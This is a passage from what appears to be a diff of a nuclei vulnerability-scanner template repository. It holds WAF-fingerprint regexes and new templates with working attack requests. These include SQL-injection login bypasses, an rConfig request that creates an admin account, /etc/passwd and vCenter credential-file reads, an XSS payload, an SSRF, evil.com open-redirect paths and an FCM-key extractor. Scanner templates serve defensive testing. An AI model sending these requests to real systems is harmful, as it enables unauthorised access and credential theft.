+        condition: or
+        part: all
+      - type: regex
+        name: akamai
+        regex:
+          - '(?i).>access.denied<.'
+          - '(?i)akamaighost'
+          - '(?i)ak.bmsc.'
+        condition: or
+        part: all
+      - type: regex
+        name: webseal
+        regex:
+          - '(?i)webseal.error.message.template'
+          - '(?i)webseal.server.received.an.invalid.http.request'
+        condition: or
+        part: all
+      - type: regex
+        name: dotdefender
+        regex:
+          - '(?i)dotdefender.blocked.your.request'
+        part: all
+      - type: regex
+        name: pk
+        regex:
+          - '(?i).>pkSecurityModule\W..\WSecurity.Alert<.'
+          - '(?i).http(s)?.//([w]{3})?.kitnetwork.\w'
+          - '(?i).>A.safety.critical.request.was.discovered.and.blocked.<.'
+        condition: or
+        part: all
+      - type: regex
+        name: expressionengine
+        regex:
+          - '(?i).>error.-.expressionengine<.'
+          - '(?i).>:.the.uri.you.submitted.has.disallowed.characters.<.'
+          - '(?i)invalid.(get|post).data'
+        condition: or
+        part: all
+      - type: regex
+        name: comodo
+        regex:
+          - '(?i)protected.by.comodo.waf'
+        part: all
+      - type: regex
+        name: ciscoacexml
+        regex:
+          - '(?i)ace.xml.gateway'
+        part: all
+      - type: regex
+        name: barikode
+        regex:
+          - '(?i).>barikode<.'
+          - '(?i)<h\d{1}>forbidden.access<.h\d{1}>'
+        condition: or
+        part: all
+      - type: regex
+        name: watchguard
+        regex:
+          - '(?i)(request.denied.by.)?watchguard.firewall'
+          - '(?i)watchguard(.technologies(.inc)?)?'
+        condition: or
+        part: all
+      - type: regex
+        name: binarysec
+        regex:
+          - '(?i)x.binarysec.via'
+          - '(?i)x.binarysec.nocache'
+          - '(?i)binarysec'
+        condition: or
+        part: all
+      - type: regex
+        name: bekchy
+        regex:
+          - '(?i)bekchy.(-.)?access.denied'
+          - '(?i)(http(s)?://)(www.)?bekchy.com(/report)?'
+        condition: or
+        part: all
+      - type: regex
+        name: bitninja
+        regex:
+          - '(?i)bitninja'
+          - '(?i)security.check.by.bitninja'
+          - '(?i).>visitor.anti(\S)?robot.validation<.'
+        condition: or
+        part: all
+      - type: regex
+        name: apachegeneric
+        regex:
+          - '(?i)apache'
+          - '(?i).>you.don.t.have.permission.to.access+'
+          - '(?i)was.not.found.on.this.server'
+          - '(?i)<address>apache/([\d+{1,2}](.[\d+]{1,2}(.[\d+]{1,3})?)?)?'
+          - '(?i)<title>403 Forbidden</title>'
+        condition: or
+        part: all
+      - type: regex
+        name: greywizard
+        regex:
+          - '(?i)greywizard(.\d.\d(.\d)?)?'
+          - '(?i)grey.wizard.block'
+          - '(?i)(http(s)?.//)?(\w+.)?greywizard.com'
+          - '(?i)grey.wizard'
+        condition: or
+        part: all
+      - type: regex
+        name: configserver
+        regex:
+          - '(?i).>the.firewall.on.this.server.is.blocking.your.connection.<+'
+        part: all
+      - type: regex
+        name: viettel
+        regex:
+          - '(?i)<title>access.denied(...)?viettel.waf</title>'
+          - '(?i)viettel.waf.system'
+          - '(?i)(http(s).//)?cloudrity.com(.vn)?'
+        condition: or
+        part: all
+      - type: regex
+        name: safedog
+        regex:
+          - '(?i)(http(s)?)?(://)?(www|404|bbs|\w+)?.safedog.\w'
+          - '(?i)waf(.?\d+.?\d+)'
+        condition: or
+        part: all
+      - type: regex
+        name: baidu
+        regex:
+          - '(?i)yunjiasu.nginx'
+        part: all
+      - type: regex
+        name: alertlogic
+        regex:
+          - '(?i).>requested.url.cannot.be.found<.'
+          - '(?i)proceed.to.homepage'
+          - '(?i)back.to.previous.page'
+          - "(?i)we('re|.are)?sorry.{1,2}but.the.page.you.are.looking.for.cannot"
+          - '(?i)reference.id.?'
+          - '(?i)page.has.either.been.removed.{1,2}renamed'
+        condition: or
+        part: all
+      - type: regex
+        name: armor
+        regex:
+          - '(?i)blocked.by.website.protection.from.armour'
+        part: all
+      - type: regex
+        name: dosarrest
+        regex:
+          - '(?i)dosarrest'
+          - '(?i)x.dis.request.id'
+        condition: or
+        part: all
+      - type: regex
+        name: paloalto
+        regex:
+          - 'has.been.blocked.in.accordance.with.company.policy'
+          - '.>Virus.Spyware.Download.Blocked<.'
+        condition: or
+        part: all
+      - type: regex
+        name: aspgeneric
+        regex:
+          - '(?i)this.generic.403.error.means.that.the.authenticated'
+          - '(?i)request.could.not.be.understood'
+          - '(?i)<.+>a.potentially.dangerous.request(.querystring)?.+'
+          - '(?i)runtime.error'
+          - '(?i).>a.potentially.dangerous.request.path.value.was.detected.from.the.client+'
+          - '(?i)asp.net.sessionid'
+          - '(?i)errordocument.to.handle.the.request'
+          - '(?i)an.application.error.occurred.on.the.server'
+          - '(?i)error.log.record.number'
+          - '(?i)error.page.might.contain.sensitive.information'
+          - "(?i)<.+>server.error.in.'/'.application.+"
+          - '(?i)\basp.net\b'
+        condition: or
+        part: all
+      - type: regex
+        name: powerful
+        regex:
+          - '(?i)Powerful Firewall'
+          - '(?i)http(s)?...tiny.cc.powerful.firewall'
+        condition: or
+        part: all
+      - type: regex
+        name: uewaf
+        regex:
+          - '(?i)http(s)?.//ucloud'
+          - '(?i)uewaf(.deny.pages)'
+        condition: or
+        part: all
+      - type: regex
+        name: janusec
+        regex:
+          - '(?i)janusec'
+          - '(?i)(http(s)?\W+(www.)?)?janusec.(com|net|org)'
+        condition: or
+        part: all
+      - type: regex
+        name: siteguard
+        regex:
+          - '(?i)>Powered.by.SiteGuard.Lite<'
+          - '(?i)refuse.to.browse'
+        condition: or
+        part: all
+      - type: regex
+        name: sonicwall
+        regex:
+          - '(?i)This.request.is.blocked.by.the.SonicWALL'
+          - '(?i)Dell.SonicWALL'
+          - '(?i)\bDell\b'
+          - '(?i)Web.Site.Blocked.+\bnsa.banner'
+          - '(?i)SonicWALL'
+          - '(?i).>policy.this.site.is.blocked<.'
+        condition: or
+        part: all
+      - type: regex
+        name: jiasule
+        regex:
+          - '(?i)^jsl(_)?tracking'
+          - '(?i)(__)?jsluid(=)?'
+          - '(?i)notice.jiasule'
+          - '(?i)(static|www|dynamic).jiasule.(com|net)'
+        condition: or
+        part: all
+      - type: regex
+        name: nginxgeneric
+        regex:
+          - '(?i)nginx'
+          - '(?i)you.do(not|n.t)?.have.permission.to.access.this.document'
+        condition: or
+        part: all
+      - type: regex
+        name: stackpath
+        regex:
+          - '(?i)action.that.triggered.the.service.and.blocked'
+          - '(?i)<h2>sorry,.you.have.been.blocked.?<.h2>'
+        condition: or
+        part: all
+      - type: regex
+        name: sabre
+        regex:
+          - '(?i)[email protected]'
+        part: all
+      - type: regex
+        name: wordfence
+        regex:
+          - '(?i)generated.by.wordfence'
+          - '(?i)your.access.to.this.site.has.been.limited'
+          - '(?i).>wordfence<.'
+        condition: or
+        part: all
+      - type: regex
+        name: '360'
+        regex:
+          - '(?i).wzws.waf.cgi.'
+          - '(?i)wangzhan\.360\.cn'
+          - '(?i)qianxin.waf'
+          - '(?i)360wzws'
+          - '(?i)transfer.is.blocked'
+        condition: or
+        part: all
+      - type: regex
+        name: asm
+        regex:
+          - '(?i)the.requested.url.was.rejected..please.consult.with.your.administrator.'
+        condition: or
+        part: all
+      - type: regex
+        name: rsfirewall
+        regex:
+          - '(?i)com.rsfirewall.403.forbidden'
+          - '(?i)com.rsfirewall.event'
+          - '(?i)(\b)?rsfirewall(\b)?'
+          - '(?i)rsfirewall'
+        condition: or
+        part: all
+      - type: regex
+        name: sucuri
+        regex:
+          - '(?i)access.denied.-.sucuri.website.firewall'
+          - '(?i)sucuri.webSite.firewall.-.cloudProxy.-.access.denied'
+          - '(?i)questions\?.+cloudproxy@sucuri\.net'
+          - '(?i)http(s)?.\/\/(cdn|supportx.)?sucuri(.net|com)?'
+        condition: or
+        part: all
+      - type: regex
+        name: airlock
+        regex:
+          - '(?i)\Aal[.-]?(sess|lb)=?'
+        part: all
+      - type: regex
+        name: xuanwudun
+        regex:
+          - '(?i)class=.(db)?waf.?(-row.)?>'
+        part: all
+      - type: regex
+        name: chuangyu
+        regex:
+          - '(?i)(http(s)?.//(www.)?)?365cyd.(com|net)'
+        part: all
+      - type: regex
+        name: securesphere
+        regex:
+          - '(?i)<h2>error<.h2>'
+          - '(?i)<title>error<.title>'
+          - '(?i)<b>error<.b>'
+          - '(?i)<td.class="(errormessage|error)".height="[0-9]{1,3}".width="[0-9]{1,3}">'
+          - '(?i)the.incident.id.(is|number.is).'
+          - '(?i)page.cannot.be.displayed'
+          - '(?i)contact.support.for.additional.information'
+        condition: or
+        part: all
+      - type: regex
+        name: anquanbao
+        regex:
+          - '(?i).aqb_cc.error.'
+        part: all
+      - type: regex
+        name: modsecurity
+        regex:
+          - '(?i)ModSecurity|NYOB'
+          - '(?i)mod_security'
+          - '(?i)this.error.was.generated.by.mod.security'
+          - '(?i)web.server at'
+          - '(?i)page.you.are.(accessing|trying)?.(to|is)?.(access)?.(is|to)?.(restricted)?'
+          - '(?i)blocked.by.mod.security'
+        condition: or
+        part: all
+      - type: regex
+        name: modsecurityowasp
+        regex:
+          - '(?i)not.acceptable'
+          - '(?i)additionally\S.a.406.not.acceptable'
+        condition: or
+        part: all
+      - type: regex
+        name: squid
+        regex:
+          - '(?i)squid'
+          - '(?i)Access control configuration prevents'
+          - '(?i)X.Squid.Error'
+        condition: or
+        part: all
+      - type: regex
+        name: shieldsecurity
+        regex:
+          - '(?i)blocked.by.the.shield'
+          - '(?i)transgression(\(s\))?.against.this'
+          - '(?i)url.{1,2}form.or.cookie.data.wasn.t.appropriate'
+        condition: or
+        part: all
+      - type: regex
+        name: wallarm
+        regex:
+          - '(?i)nginix.wallarm'
+        part: all

tokens/fcm-server-key.yaml

@@ -0,0 +1,20 @@
+id: fcm-server-key
+
+info:
+  name: FCM Server Key
+  author: Abss (@absshax)
+  severity: high
+
+  # Reference:- https://abss.me/posts/fcm-takeover
+  # FCM Project Credentials
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}"
+
+    extractors:
+      - type: regex
+        part: body
+        regex:
+          - "AAAA[a-zA-Z0-9_-]{7}:[a-zA-Z0-9_-]{140}"

vulnerabilities/open-redirect.yaml

@@ -11,6 +11,7 @@ requests:
 
     path:
       - "{{BaseURL}}/evil.com/"
+      - "{{BaseURL}}/evil.com//"
       - "{{BaseURL}}///;@evil.com"
       - "{{BaseURL}}///evil.com/%2F.."
       - "{{BaseURL}}/////evil.com"

vulnerabilities/oracle-ebs-bispgraph-file-access.yaml

@@ -2,14 +2,14 @@ id: oracle-ebs-bispgrapgh-file-read
 
 info:
   name: Oracle EBS Bispgraph File Access
-  author: "Alfie Njeru (@emenalf) - https://the-infosec.com"
+  author: "@emenalf & @tirtha_mandal"
   severity: critical
-  description: todo
 
 requests:
   - method: GET
     path:
       - "{{BaseURL}}/OA_HTML/bispgraph.jsp%0D%0A.js?ifn=passwd&ifl=/etc/"
+      - "{{BaseURL}}/OA_HTML/jsp/bsc/bscpgraph.jsp?ifl=/etc/&ifn=passwd"
 
     matchers:
       - type: regex

vulnerabilities/rconfig-rce.yaml

@@ -0,0 +1,64 @@
+id: rconfig-rce
+
+info:
+  name: rConfig 3.9.5 - Remote Code Execution
+  author: dwisiswant0
+  severity: high
+
+  # This template supports the user creation part only.
+  # To triggering an RCE, see references[2].
+  # References:
+  # - [1] https://www.rconfig.com/downloads/rconfig-3.9.5.zip
+  # - [2] https://www.exploit-db.com/exploits/48878
+
+requests:
+  - raw:
+      - |
+        POST /lib/crud/userprocess.php HTTP/1.1
+        Host: {{Hostname}}
+        Accept: */*
+        User-Agent: python-requests/2.23.0
+        Connection: close
+        Content-Type: multipart/form-data; boundary=01b28e152ee044338224bf647275f8eb
+        Upgrade-Insecure-Requests: 1
+        Cookie: PHPSESSID=pdnuclei
+
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="username"
+
+        pdnuclei
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="passconf"
+
+        Testing1@
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="password"
+
+        Testing1@
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="email"
+
+        [email protected]
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="editid"
+
+
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="add"
+
+        add
+        --01b28e152ee044338224bf647275f8eb
+        Content-Disposition: form-data; name="ulevelid"
+
+        9
+        --01b28e152ee044338224bf647275f8eb--
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "User pdnuclei successfully added to Database"
+        part: body
+      - type: status
+        status:
+          - 302

vulnerabilities/sassy-social-share.yaml

@@ -0,0 +1,19 @@
+id: sassy-social-share-xss
+
+info:
+  name: Sassy Social Share XSS
+  author: Random-Robbie
+  severity: medium
+  description: Sassy Social Share <= 3.3.3 - Cross-Site Scripting (XSS)
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin-ajax.php?action=heateor_sss_sharing_count&urls[%3Cimg%20src%3dx%20onerror%3dalert(document.domain)%3E]="
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - '{"facebook_urls":[{"<img src=x onerror=alert(document.domain)>":""}],"status":1,"message":{"":{"twitter":0}}}'
+        part: body

vulnerabilities/symantec-messaging-gateway.yaml

@@ -16,8 +16,7 @@ requests:
       - type: word
         words:
           - "struts-default.xml"
-        part: body
 
       - type: status
         status:
-          - 200
+          - 200

vulnerabilities/vmware-vcenter-lfi.yaml

@@ -0,0 +1,35 @@
+id: vmware-vcenter-lfi
+
+info:
+  name: VMware vCenter Unauthenticated Arbitrary File Read
+  author: dwisiswant0
+  severity: high
+
+  # Reference:-
+  # https://twitter.com/ptswarm/status/1316016337550938122
+  # https://kb.vmware.com/s/article/7960893
+
+requests:
+  - payloads:
+      path:
+        - "C:\\ProgramData\\VMware\\VMware+VirtualCenter"  # vCenter Server 5.5 and earlier (Windows 2008)
+        - "C:\\Documents+and+Settings\\All+Users\\Application+Data\\VMware\\VMware+VirtualCenter"  # Other Windows versions
+        - "C:\\ProgramData\\VMware\\vCenterServer\\cfg\\vmware-vpx"  # vCenter Server => 6.0
+    attack: sniper
+    raw:
+      - |
+        GET /eam/vib?id=path\vcdb.properties HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55
+        Accept: */*
+        Accept-Language: en
+        Connection: close
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "(?m)^(driver|dbtype|password(\\.encrypted)?)\\s="
+        part: body
+      - type: status
+        status:
+          - 200

vulnerabilities/vpms-auth-bypass.yaml

@@ -0,0 +1,39 @@
+id: vpms-auth-bypass
+
+info:
+  name: Vehicle Parking Management System 1.0 - Authentication Bypass
+  author: dwisiswant0
+  severity: high
+
+  # References:
+  # - https://www.exploit-db.com/exploits/48877
+
+requests:
+  - raw:
+      - |
+        POST /login.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Referer: http://{{Hostname}}/login.php
+        Cookie: PHPSESSID=q4efk7p0vo1866rwdxzq8aeam8
+        Connection: keep-alive
+        Upgrade-Insecure-Requests: 1
+
+        email=%27%3D%27%27or%27%40email.com&password=%27%3D%27%27or%27&btn_login=1
+
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "LAGOS PARKER"
+          - "Login Successfully"
+          - "location.href = 'index.php';"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

vulnerabilities/w3c-total-cache-ssrf.yaml

@@ -0,0 +1,19 @@
+id: w3c-total-cache-ssrf
+info:
+  name: Wordpress W3C Total Cache SSRF <= 0.9.4
+  author: random-robbie
+  severity: medium
+
+  # Reference
+  # https://wpvulndb.com/vulnerabilities/8644
+  # https://klikki.fi/adv/w3_total_cache.html
+
+requests:
+  - method: GET
+    path:
+      - '{{BaseURL}}/wp-content/plugins/w3-total-cache/pub/minify.php?file=yygpKbDS1y9Ky9TLSy0uLi3Wyy9KB3NLKkqUM4CyxUDpxKzECr30_Pz0nNTEgsxiveT8XAA.css'
+    matchers:
+      - type: word
+        words:
+          - "NessusFileIncludeTest"
+        part: body

vulnerabilities/wordpress-social-metrics-tracker.yaml

@@ -0,0 +1,21 @@
+id: wordpress-social-metrics-tracker
+
+info:
+  name: Social Metrics Tracker <= 1.6.8 - Unauthorised Data Export
+  author: randomrobbie
+  severity: medium
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-admin/admin-ajax.php?page=social-metrics-tracker-export&smt_download_export_file=1"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "Main URL to Post"
+        part: body

vulnerabilities/wordpress-wpcourses-info-disclosure.yaml

@@ -0,0 +1,33 @@
+id: wordpress-wpcourses-info-disclosure
+
+info:
+  name: WordPress WP Courses Plugin Information Disclosure
+  author: dwisiswant0
+  severity: high
+  description: Critical Information Disclosure on WP Courses plugin < 2.0.29 exposes private course videos and materials
+
+  # References:
+  # - [1] https://www.exploit-db.com/exploits/48910
+  # - [2] https://www.redtimmy.com/critical-information-disclosure-on-wp-courses-plugin-exposes-private-course-videos-and-materials/
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/wp-json/wp/v2/lesson/1"
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "rest_post_invalid_id"
+          - "\"(guid|title|content|excerpt)\":{\"rendered\":"
+        condition: or
+        part: body
+      - type: word
+        words:
+          - "application/json"
+        part: header
+      - type: status
+        status:
+          - 200
+          - 404
+        condition: or

vulnerabilities/x-forwarded-host-injection.yaml

@@ -1,19 +0,0 @@
-id: host-header-injection
-
-info:
-  name: Host Header Injection (x-forwarded-host)
-  author: melbadry9
-  severity: low
-
-requests:
-  - method: GET
-    # Example of sending some headers to the servers
-    headers:
-      # MD5 hash of melbadry9
-      X-Forwarded-Host: "0021e78f48fe6525798294b7711c6f72.com"
-    path:
-      - "{{BaseURL}}/"
-    matchers:
-      - type: word
-        words:
-          - "0021e78f48fe6525798294b7711c6f72"

vulnerabilities/zms-auth-bypass.yaml

@@ -0,0 +1,41 @@
+id: zms-auth-bypass
+
+info:
+  name: Zoo Management System 1.0 - Authentication Bypass
+  author: dwisiswant0
+  severity: high
+
+  # References:
+  # - https://www.exploit-db.com/exploits/48880
+
+requests:
+  - raw:
+      - |
+        POST /zms/admin/index.php HTTP/1.1
+        Host: {{Hostname}}
+        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:80.0) Gecko/20100101 Firefox/80.0
+        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
+        Accept-Language: en-US,en;q=0.5
+        Accept-Encoding: gzip, deflate
+        Content-Type: application/x-www-form-urlencoded
+        Origin: http://{{Hostname}}
+        Connection: close
+        Referer: http://{{Hostname}}/zms/admin/index.php
+        Cookie: PHPSESSID=s22oss00i0ob4hcnsgkobb9r7p
+        Upgrade-Insecure-Requests: 1
+
+        username=dw1%27+or+1%3D1+%23&password=dw1%27+or+1%3D1+%23&login=
+
+    redirects: true
+    max-redirects: 1
+    matchers-condition: and
+    matchers:
+      - type: regex
+        regex:
+          - "Zoo Management System (\\|\\| Dashboard|@ 2020\\. All right reserved)"
+          - "ZMS ADMIN"
+        condition: and
+        part: body
+      - type: status
+        status:
+          - 200

workflows/jira-exploitaiton-workflow.yaml

@@ -16,7 +16,9 @@ variables:
         jira_cve_3: cves/CVE-2017-9506.yaml
         jira_cve_4: cves/CVE-2018-20824.yaml
         jira_cve_5: cves/CVE-2019-3396.yaml
-
+        jira_cve_6: cves/CVE-2020-14179.yaml
+        jira_cve_7: cves/CVE-2020-14181.yaml
+        jira_cve_8: cves/CVE-2019-8442.yaml
 
 logic:
         |
@@ -31,4 +33,7 @@ logic:
                 jira_cve_3()
                 jira_cve_4()
                 jira_cve_5()
+                jira_cve_6()
+                jira_cve_7()
+                jira_cve_8()
         }

workflows/mida-eframework-workflow.yaml

@@ -7,10 +7,12 @@ info:
 variables:
   mida: technologies/tech-detect.yaml
   cve_2020_15920: cves/CVE-2020-15920.yaml
+  mida_xss: vulnerabilities/mida-eframework-xss.yaml
 
 logic: |
   mida()
 
   if mida["mida-eframework"] {
     cve_2020_15920()
+    mida_xss()
   }

workflows/wordpress-workflow.yaml

@@ -15,6 +15,8 @@ variables:
   wordpress_emergency_script: files/wordpress-emergency-script.yaml
   wordpress_installer_log: files/wordpress-installer-log.yaml
   wordpress_tmm_db_migrate: files/wordpress-tmm-db-migrate.yaml
+  wordpress_social_metrics_tracker: vulnerabilities/wordpress-social-metrics-tracker.yaml
+  w3c_total_cache_ssrf: vulnerabilities/w3c-total-cache-ssrf.yaml
   wordpress_cve: cves/CVE-2019-9978.yaml
   wordpress_cve_2: cves/CVE-2019-6715.yaml
 
@@ -33,6 +35,8 @@ logic: |
     wordpress_emergency_script()
     wordpress_installer_log()
     wordpress_tmm_db_migrate()
+    wordpress_social_metrics_tracker()
+    w3c_total_cache_ssrf()
     wordpress_cve()
     wordpress_cve_2()